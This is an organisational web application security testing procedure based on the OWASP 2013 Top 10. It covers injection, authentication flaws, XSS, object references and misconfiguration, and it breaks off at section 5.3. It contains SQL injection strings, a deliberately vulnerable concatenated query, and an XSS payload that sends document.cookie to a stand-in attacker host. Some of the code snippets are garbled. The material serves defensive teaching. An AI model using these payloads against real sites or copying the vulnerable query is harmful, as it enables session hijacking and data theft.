## Application Security Testing Procedure

*Reducing the Top-Ten most critical web application security flaws*

<table>
<thead>
<tr>
<th>OWASP Top 10 - 2010 (Previous)</th>
<th>OWASP Top 10 - 2013 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 - Injection</td>
<td>A1 - Injection</td>
</tr>
<tr>
<td>A2 - Broken Authentication and Session Management</td>
<td>A2 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A2 - Cross-Site Scripting (XSS)</td>
<td>A2 - Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4 - Insecure Direct Object References</td>
<td>A4 - Insecure Direct Object References</td>
</tr>
<tr>
<td>A6 - Security Misconfiguration</td>
<td>A5 - Security Misconfiguration</td>
</tr>
<tr>
<td>A7 - Insecure Cryptographic Storage - Merged with A9</td>
<td>A6 - Sensitive Data Exposure</td>
</tr>
<tr>
<td>A8 - Failure to Restrict URL access - Broadened into</td>
<td>A7 - Missing Function Level Access Control</td>
</tr>
<tr>
<td>A5 - Cross-Site Request Forgery (CSRF)</td>
<td>A8 - Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td>A9 - Using Known Vulnerable Components</td>
</tr>
<tr>
<td>A10 - Unvalidated Redirects and Forwards</td>
<td>A10 - Unvalidated Redirects and Forwards</td>
</tr>
<tr>
<td>A9 - Insufficient Transport Layer Protection</td>
<td>Merged with 2010 A7 into new 2013 A6</td>
</tr>
</tbody>
</table>

**Doc Revision:** Version 1.1  
**Doc Revision Date:** August 8, 2014
Table of contents

**Purpose of this document** ................................................................................................. 3
**Introduction** .................................................................................................................. 3
**What is Application Security Testing?** ........................................................................ 3
**Basic Principles** ........................................................................................................... 3
Why do Application Security Testing? .................................................................................. 4
Top Ten Application Security Risks at My Organisation ..................................................... 5

1. **Injection** ....................................................................................................................... 7
1.1. What is SQL Injection? .................................................................................................. 7
1.2. Is My Organisation Vulnerable To Injection? ............................................................... 9
1.3. How Do we Defend My Organisation systems from Injection? ................................. 9
1.4. Injection Examples for Testing My Organisation applications: ................................. 9

2. **Broken Authentication and Session Management** ................................................... 10
2.1. What is Broken Authentication and Session Management ........................................ 10
2.2. Is My Organisation vulnerable to Broken Authentication and Session Management ... 10
2.3. Broken Authentication and Session Management Examples: ................................... 11
2.4. Testing and Defences .................................................................................................. 11

3. **Cross Site Scripting (XSS)** ........................................................................................ 12
3.1. What is XSS? ................................................................................................................ 12
3.2. Is My Organisation Vulnerable To XSS? .................................................................... 13
3.3. XSS Example: .............................................................................................................. 14
3.4. Testing and Defences .................................................................................................. 14

4. **Insecure Direct Object References** ................................................................................ 15
4.1. What are Insecure Direct Object References? ............................................................... 15
4.2. Is My Organisation vulnerable to Insecure Direct Object References? ....................... 16
4.3. Insecure Direct Object References Examples: .............................................................. 16
4.4. Testing and Defences for Insecure Direct Object References ..................................... 16

5. **Application Security Misconfiguration** ....................................................................... 17
5.1. What is Application Security Misconfiguration? ........................................................... 17
5.2. Is My Organisation vulnerable to Application Security Misconfiguration? .................. 17
5.3. Application Security Misconfiguration Examples: ....................................................... 18
5.4. Testing and Defences for Application Security Misconfiguration .............................. 18

6. **Sensitive Data Exposure** ............................................................................................. 20
6.1. What is Sensitive Data Exposure? ................................................................................. 20
6.2. Is My Organisation vulnerable to Sensitive Data Exposure? ....................................... 20
6.3. Sensitive Data Exposure Examples: .............................................................................. 21
6.4. Testing and defences for Sensitive Data Exposure ...................................................... 21

7. **Missing Function Level Access Control** .................................................................... 23
7.1. What is Missing Function Level Access Control? ......................................................... 23
7.2. Is My Organisation vulnerable to Missing Function Level Access Control? ................ 23
7.3. Examples of Missing Function Level Access Control .................................................. 24
7.4. Testing and defences for Missing Function Level Access Control

8. Cross-Site Request Forgery (CSRF)

8.1. What is Cross-Site Request Forgery?

8.2. Is My Organisation vulnerable to Cross-Site Request Forgery?

8.3. Cross-Site Request Forgery Example:

8.4. Testing and Defences for Cross-Site Request Forgery

9. Using Components with Known Vulnerabilities

9.1. What are Known Vulnerable Components?

9.2. Is My Organisation vulnerable to Using Components with Known Vulnerabilities?

9.3. Examples of Using Components with Known Vulnerabilities:

9.4. Testing and Defences for Using Components with Known Vulnerabilities:

10. Un-validated Redirects and Forwards

10.1. What are Un-validated Redirects and Forwards?

10.2. Is My Organisation vulnerable to Un-validated Redirects and Forwards?

10.3. Examples of Un-validated Redirects and Forwards:

10.4. Testing and Defences for Un-validated Redirects and Forwards

11. About This Document

11.1. Referenced documents

11.2. Document history

Purpose of this document

The purpose of this document is to set out the guidelines for application security testing on any project developed or adopted by My Organisation. These guidelines may be customised for specific projects and used to apply application security principles to the design, build and test activities, especially when complemented with the corresponding Application Security Development Guidelines. This document outlines the following:

- Relationship with the My Organisation Test Strategy.
- Top ten security risks at My Organisation.
- Explanations of how to test the top ten application security risks.

Introduction

This document outlines the application security testing that will be conducted on all My Organisation Web-Application projects. It describes the general testing framework and the techniques required to implement Application Security in practice. The testing is expected to be conducted at all Test Levels (Component, System, Acceptance, Maintenance), over several test iterations and includes both dynamic test execution and static testing of designs, specifications and code.

What is Application Security Testing?

Basic Principles

An effective development Application Security Testing program should have components that test People – to ensure that there is adequate education and awareness; Process – to ensure that there are adequate
policies and standards and that people know how to follow these policies; and Technology – to ensure that the process has been effective in its implementation. Well implemented Application Security Testing is an integrated part of the software development lifecycle and does not simply focus on penetration testing. There are several principles to adopt:

- **There are no Silver Bullets.** Security is a process, not a software tool.

- **Think strategically, not tactically.** A patch-and-penetrate model that does not investigate root causes allows windows of vulnerability to exist between the discovery of security flaws and the installation of effective patches in all affected systems.

- **The SDLC is King!** Integrating security with each phase of the SDLC allows for a holistic approach to application security that leverages the procedures already in place within the organization. Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.

- **Test Early and Test Often.** When a bug is detected early within the SDLC, it can be addressed more easily and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the Development and Quality Control areas about common security issues and the ways to detect and prevent them.

- **Understand the Scope of Security.** It is important to know how much application security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., Confidential, Secret, Top-Secret).

- **Develop the Right Mind-set.** Good application security testing requires going beyond what is expected. Think like an attacker who is trying to break the application.

- **Understand the Subject.** The architecture, data-flow diagrams, use cases, and more should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case.

- **Use the Right Tools.** While there is no silver bullet tool, tools do play a critical role in the overall application security program. There are a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. It is important to understand exactly what these tools can and cannot do, and that they are not oversold or used incorrectly.

- **The Devil is in the Details.** It is critical not to perform a superficial security review of an application and consider it complete because this will install a false sense of confidence.

- **Use Source Code When Available.** While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in production, they are not the most effective way to secure an application. If the source code for the application is available, it should be used to assist the testing.

- **Develop Useful Metrics and communicate your story.** An important part of a good application development security program is the ability to determine if things are getting better and inform interested parties on your progress.

**Why do Application Security Testing?**

Application Security Testing is a Test Type defined within the My Organisation Test Strategy. It should be conducted in addition to all other Test Types identified as in-scope for each project. If we do not test
for security vulnerabilities, developers may consider security aspects unimportant and vulnerabilities will not be exposed until late, or too late in the SDLC.

When Sir Tim Berners-Lee invented the World Wide Web (www) in 1990, HTTP was intended to display static pages for academics and included almost no intrinsic security. Despite security features being bolted-on as afterthoughts, the Web still contains serious vulnerabilities in many crucial areas as shown in the diagram below.

![Diagram of web application security risks](image)

*Source: OWASP*

For every application vulnerability that has been recognised to date (i.e. excluding some new zero-day attacks), there are corresponding defences which must be applied.

Application Security Testing leverages the appliance of appropriate vulnerability defences by designers and developers who might otherwise concentrate their efforts on other functional and non-functional requirements that are traditionally tested. It should not be delayed until the end of the Systems Development Lifecycle since any vulnerability identified may require substantial re-engineering and postponing the launch date, or risking a live launch with known security flaws to be fixed at a later date. Remember: Security Test Early, Test Often, and the SDLC is King!

**Top Ten Application Security Risks at My Organisation**

There are hundreds of issues that could affect the overall security of the My Organisation web applications. Consider this list for comprehensive web application security testing ideas: [https://www.owasp.org/index.php/Web_Application_Security_Testing](https://www.owasp.org/index.php/Web_Application_Security_Testing)

The following list identifies the 2013 top ten generic application security risks as identified by the Open Web Application Security Project (OWASP), not the most common weaknesses. The Risks are a combination of Threat Agents, Attack Vectors, Security Weaknesses, Security Controls, Technical Impacts and Business Impacts.
Injection scores highly because it is easy to find an attack vector, the security weakness is common, and the technical impact can be severe. Cross-site scripting (XSS) security weaknesses and poor controls are very widespread, but the attack vector is less easy to exploit than Injection and therefore XSS scores as only the third greatest risk.

The factors listed above differ from one organisation to another and change over time. My Organisation application security risks will be re-assessed on an annual basis. The current world-wide top ten application security vulnerabilities are:

1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Un-validated Redirects and Forwards.

These vulnerabilities are explained in the following sections.
1. **Injection**

1.1. **What is SQL Injection?**

An SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a poorly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer. SQL injection is a code injection technique that exploits security vulnerability in a website’s software.

The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not ‘strongly typed’ and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information to the attacker.

SQL injection is the most common attack vector for websites and is used to attack any type of SQL (including Oracle) database. It is very easy to attempt because websites present a surface area with opportunities for injection attempts in every data entry field including the ‘Search’ field and URL itself.

**Example 1:** The application uses untrusted data in the following vulnerable login authentication where special characters ` ;/* switch the interpreter from data entry mode to injecting and executing the code ‘OR 1=1’ which is always true and therefore treated as a valid username:

```
<table>
<thead>
<tr>
<th>Username or Email</th>
<th>johnsmith</th>
<th>Register</th>
</tr>
</thead>
<tbody>
<tr>
<td>Password</td>
<td>mypassword</td>
<td>Lost Password?</td>
</tr>
</tbody>
</table>
```

```
SELECT * FROM `users`
WHERE `username` = 'johnsmith'
AND `password` = 'mypassword'
```

**Example 2:** The application uses untrusted data in the construction of the following vulnerable SQL call:

```
String query = "SELECT * FROM accounts WHERE custID='' + request.getParameter("id") +"";
```

The attacker modifies the 'id' parameter in their browser to send: ' or '1'=1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer's.

```
http://example.com/app/accountView?id=' or '1'=1
```

In the worst case, the attacker uses this weakness to invoke special stored procedures in the database, allowing a complete takeover of the database host.

There are many types of SQL injection attack as shown in the following table which classifies the attackers' **Intent** (identifying injectable parameters, extracting data, adding or modifying data, denial of service, evading detection, bypassing authentication, executing remote commands, and privilege escalation), **Input Sources** (user input, cookies, server variables, and second-order [stored instead of executed immediately] injection) and **Types of attack** (classic, inference [carrying out a series of Boolean queries to
Application Security Testing Procedure

the server, observing the answers and finally deducing the meaning of such answers), DBMS-specific, and compounded (combined with other attacks such as XSS injection).

<table>
<thead>
<tr>
<th>Classification parameters</th>
<th>Methods</th>
<th>Techniques/ Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Identifying injectable parameters</td>
<td>see 'Input type of attacks'</td>
</tr>
<tr>
<td></td>
<td>Extracting Data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Adding or Modifying Data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Performing Denial of Service</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Evading detection</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Bypassing Authentication</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Executing remote commands</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Performing privilege escalation</td>
<td></td>
</tr>
<tr>
<td>Intent</td>
<td>Injection through user input</td>
<td>Malicious strings in Web forms</td>
</tr>
<tr>
<td></td>
<td>Injection through cookies</td>
<td>Modified cookie fields containing SQLIA</td>
</tr>
<tr>
<td></td>
<td>Injection through server variables</td>
<td>Headers are manipulated to contain SQLIA</td>
</tr>
<tr>
<td></td>
<td>Second-order injection</td>
<td>Frequency-based Primary Application</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Frequency-based Secondary Application</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Secondary Support Application</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Cascaded Submission Application</td>
</tr>
<tr>
<td>Input Source</td>
<td>Classic SQLIA</td>
<td>Piggy-Backed Queries</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Tautologies</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Alternate Encodings</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Illegal/ Logically Incorrect Queries</td>
</tr>
<tr>
<td></td>
<td></td>
<td>UNION SQLIA</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Stored Procedures SQLIA</td>
</tr>
<tr>
<td></td>
<td>Inference</td>
<td>Conditional Responses</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Conditional Errors</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Out-Of-Band Channeling</td>
</tr>
<tr>
<td></td>
<td>DBMS specific SQLIA</td>
<td>Double Blind SQLIA (Time-delays/ Benchmark attacks)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Deep Blind SQLIA (Multiple statements SQLIA)</td>
</tr>
<tr>
<td></td>
<td>Compound SQLIA</td>
<td>DB Fingerprinting</td>
</tr>
<tr>
<td></td>
<td></td>
<td>DB Mapping</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Fast-Fluxing SQLIA</td>
</tr>
</tbody>
</table>

*Source: KDeltchev / Wikipedia*
1.2. **Is My Organisation Vulnerable To Injection?**

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help find the use of interpreters and trace the data flow through the application. Manual penetration tests can confirm these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection problems exist. Scanners cannot always reach interpreters and can have difficulty detecting whether an attack was successful.

<table>
<thead>
<tr>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitability</td>
<td>Prevalence</td>
<td>Detectability</td>
</tr>
<tr>
<td>EASY</td>
<td>COMMON</td>
<td>AVERAGE</td>
</tr>
</tbody>
</table>

Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.

Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, XPath, or NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

Source: OWASP

1.3. **How Do we Defend My Organisation systems from Injection?**

Preventing injection requires keeping untrusted data separate from commands and queries.

The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. **Prepared Statements (Parameterized Queries)** allow the database to distinguish between code and data, regardless of what user input is supplied. Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted.

Another option is to store all the SQL code in the database itself and call it from the application by using **Stored Procedures** which do not include any unsafe dynamic SQL generation.

Beware of APIs, such as stored procedures that appear parameterized, but may still allow injection under the hood. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. In any case, **minimize the privileges** assigned to every database account in your environment.

Positive or "whitelist" input validation with appropriate canonicalization also helps protect against injection, but is **not** a complete defence as many applications require special characters in their input.

1.4. **Injection Examples for Testing My Organisation applications:**

Below are links to injection statements that may be used by any tester to investigate if an application is vulnerable to injection by an attacker:


The lists are not comprehensive and if no unusual responses are received it does not guarantee the site has no injection vulnerabilities. The most effective test is to verify the defences described in section 1.3 are in place. These are described in greater detail in the corresponding Application Security Development Guidelines document.

2. **Broken Authentication and Session Management**

2.1. **What is Broken Authentication and Session Management**

Anonymous external attackers, as well as users with their own accounts, may attempt to steal accounts from others or to disguise their actions. The attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users. Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, time-outs, remember me, secret question, account update, etc.

2.2. **Is My Organisation vulnerable to Broken Authentication and Session Management**

The primary assets to protect are credentials and session IDs.

1. Are credentials always protected when stored using hashing or encryption?
2. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?
3. Are session IDs exposed in the URL (e.g., URL rewriting)?
4. Are session IDs vulnerable to session fixation attacks?
5. Do session IDs timeout and can users log out?
6. Are session IDs rotated after successful login?
7. Are passwords, session IDs, and other credentials sent only over TLS connections?

<table>
<thead>
<tr>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitability</td>
<td>Prvalence</td>
<td>Detectability</td>
</tr>
<tr>
<td>AVERAGE</td>
<td>WIDESPREAD</td>
<td>AVERAGE</td>
</tr>
</tbody>
</table>

Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.

Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.

Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.

Source: OWASP
2.3. **Broken Authentication and Session Management Examples:**

**Scenario #1:** An application supports URL rewriting, putting session IDs in the URL:

```
http://example.com/sale/saleitems;jsessionid=2P00C2JDPM00Q5NDLPSKHCJUN2J
?dest=London
```

An authenticated user of the site wants to let others know about it. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

**Scenario #2:** Application’s timeouts aren’t set properly. A public computer is used to access a website. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and that browser is still authenticated for the website used earlier.

**Scenario #3:** An insider or external attacker gains access to the system’s password database. The user passwords are not encrypted, exposing every user’s passwords to the attacker.

Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.

2.4. **Testing and Defences**

Authentication is the act of establishing or confirming something (or someone) as authentic, and that claims made by or about the thing are true. Authenticating an object may mean confirming its provenance, whereas authenticating a person often consists of verifying his or her identity. Authentication depends upon one or more authentication factors. In computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the logon process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism. The following list provides descriptions and links to guide testers through authentication testing:

- **Credentials transport over an encrypted channel (OWASP-AT-001)**
  Here, the tester will just try to understand if the data that users put into the web form, in order to log into a web site, are transmitted using secure protocols that protect them from an attacker or not.

- **Testing for user enumeration (OWASP-AT-002)**
  The scope of this test is to verify if it is possible to collect a set of valid users by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password.

- **Testing for Guessable (Dictionary) User Account (OWASP-AT-003)**
  Test if there are default user accounts or guessable username/password combinations (dictionary testing).

- **Brute Force Testing (OWASP-AT-004)**
  When a dictionary type attack fails, a tester can attempt to use brute force methods to gain authentication. Brute force testing is not easy to accomplish for testers because of the time required and the possible lockout of the tester.

- **Testing for bypassing authentication schema (OWASP-AT-005)**
  Other passive testing methods attempt to bypass the authentication schema by recognizing that not all of the application’s resources are adequately protected. The tester can access these resources without authentication.

- **Testing for vulnerable remember password and password reset (OWASP-AT-006)**
Test how the application manages the process of "password forgotten" and whether the application allows the user to store the password in the browser ("remember password" function).

Test the logout and caching functions are properly implemented.

Testing for CAPTCHA (OWASP-AT-008)
CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") is a type of challenge-response test used by many web applications to ensure that the response is not generated by a computer. CAPTCHA implementations are often vulnerable to various kinds of attacks even if the generated CAPTCHA is unbreakable. This section will help you to identify these kinds of attacks.

Testing Multiple Factors Authentication (OWASP-AT-009)
Multiple Factors Authentication means to test the following scenarios: One-time password (OTP) generator tokens, Crypto devices like USB tokens or smart cards, equipped with X.509 certificates, Random OTP sent via SMS, Personal information that only the legitimate user is supposed to know.

Testing for Race Conditions (OWASP-AT-010)
A race condition is a flaw that produces an unexpected result when timing of actions impact other actions. An example may be seen on a multithreaded application where actions are being performed on the same data. Race conditions, by their very nature, are difficult to test for.

3. **Cross Site Scripting (XSS)**

3.1. **What is XSS?**

Cross-Site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user by exploiting the trust the victims’ browser has in a website, even when downloads are infected by malicious code. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.

### 3.2. Is My Organisation Vulnerable To XSS?

Anyone who can send untrusted data to My Organisation systems, including external users, internal users, and administrators is a threat agent. Almost any source of data can be an attack vector, including internal sources such as data from the database.

XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws:

1. Stored (A.K.A. Persistent) - Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

2. Reflected - Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server.

3. DOM (Document Object Model) based XSS - DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).
3.3. **XSS Example:**

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```java
(String) page += "\(<\input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "}\);
```

The attacker modifies the 'CC' parameter in their browser to:

```javascript
\(\)\(\)document.location='http://www.attacker.com/cgi\bin/cookie.cgi?foo='+document.cookie(\)\(\)
```

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF (Cross-Site Request Forgery) defence the application might employ.

3.4. **Testing and Defences**

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, **complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.**

Here are useful tips for testing XSS:


To defend against XSS, ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Preventing XSS requires keeping untrusted data separate from active browser content. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript,
CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them.

See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques. Alternatively, use the Application Security Development Guidelines to understand the prevention rules:

Rule 0 – Never Insert Untrusted Data Except in Allowed Locations.

Rule 1 – HTML Escape Before Inserting Untrusted Data into HTML Element Content.

Rule 2 – Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes.

Rule 3 – JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values.

Rule 3.1 – HTML escape JSON values in an HTML context and read the data with JSON.parse.

JSON entity encoding

HTML entity encoding

Rule 4 – CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values.

Rule 5 – URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values.

Rule 6 – Sanitize HTML Markup with a Library Designed for the Job.

Rule 7 – Prevent DOM-based XSS.

Bonus Rule 1: Use HTTPOnly cookie flag

Bonus Rule 2: Implement Content Security Policy

4. **Insecure Direct Object References**

4.1. **What are Insecure Direct Object References?**

Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. An attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object the user isn’t authorized for. If access is granted, such flaws can compromise all the data that can be referenced by the parameter. Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

Many file operations are intended to take place within a restricted directory. By using special elements such as "../" and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
4.2. **Is My Organisation vulnerable to Insecure Direct Object References?**

The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defences. To achieve this, consider:

- For **direct** references to **restricted** resources, the application needs to verify the user is authorized to access the exact resource they have requested and not necessarily another users’ resources with the same level of privilege (Horizontal Authorization).
- If the reference is an **indirect** reference, the mapping to the direct reference must be limited to values authorized for the current user.

Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection, nor what is safe or unsafe.

### Source: OWASP

4.3. **Insecure Direct Object References Examples:**

The application uses unverified data in a SQL call that is accessing account information:

```java
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
```

The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.

http://example.com/app/accountInfo?acct=notmyacct

4.4. **Testing and Defences for Insecure Direct Object References**

Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):

- Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server.
Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.

Testers can easily manipulate parameter values to detect such flaws, and code analysis quickly shows whether authorization is properly verified.

5. Application Security Misconfiguration

5.1. What is Application Security Misconfiguration?

Application Misconfiguration attacks exploit configuration weaknesses found in web applications. Many applications come with unnecessary and unsafe features, such as debug and QA features, enabled by default. These features may provide a means for a hacker to bypass authentication methods and gain access to sensitive information, perhaps with elevated privileges. Likewise, default installations may include well-known usernames and passwords, hard-coded backdoor accounts, special access mechanisms, and incorrect permissions set for files accessible through web servers. Default samples may be accessible in production environments. Application-based configuration files that are not properly locked down may reveal clear text connection strings to the database, and default settings in configuration files may not have been set with security in mind.

Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, framework, and custom code. Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.

The attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system. The system could be completely compromised without the owner knowing it. All data could be stolen or modified slowly over time.

Perpetrators could be anonymous external attackers, users with their own accounts that may attempt to compromise the system, or insiders wanting to disguise their actions.

5.2. Is My Organisation vulnerable to Application Security Misconfiguration?

We should check My Organisation has performed the proper security hardening across the entire application stack.

- Does My Organisation have a process for keeping all software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries.
- Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?
- Are default account passwords changed or disabled?
- Is My Organisation system error handling set up to prevent stack traces and other overly informative error messages from leaking?
- Are the security settings in the My Organisation development frameworks and libraries understood and configured properly?

A concerted, repeatable process is required to develop and maintain a proper application security configuration.
5.3. **Application Security Misconfiguration Examples:**

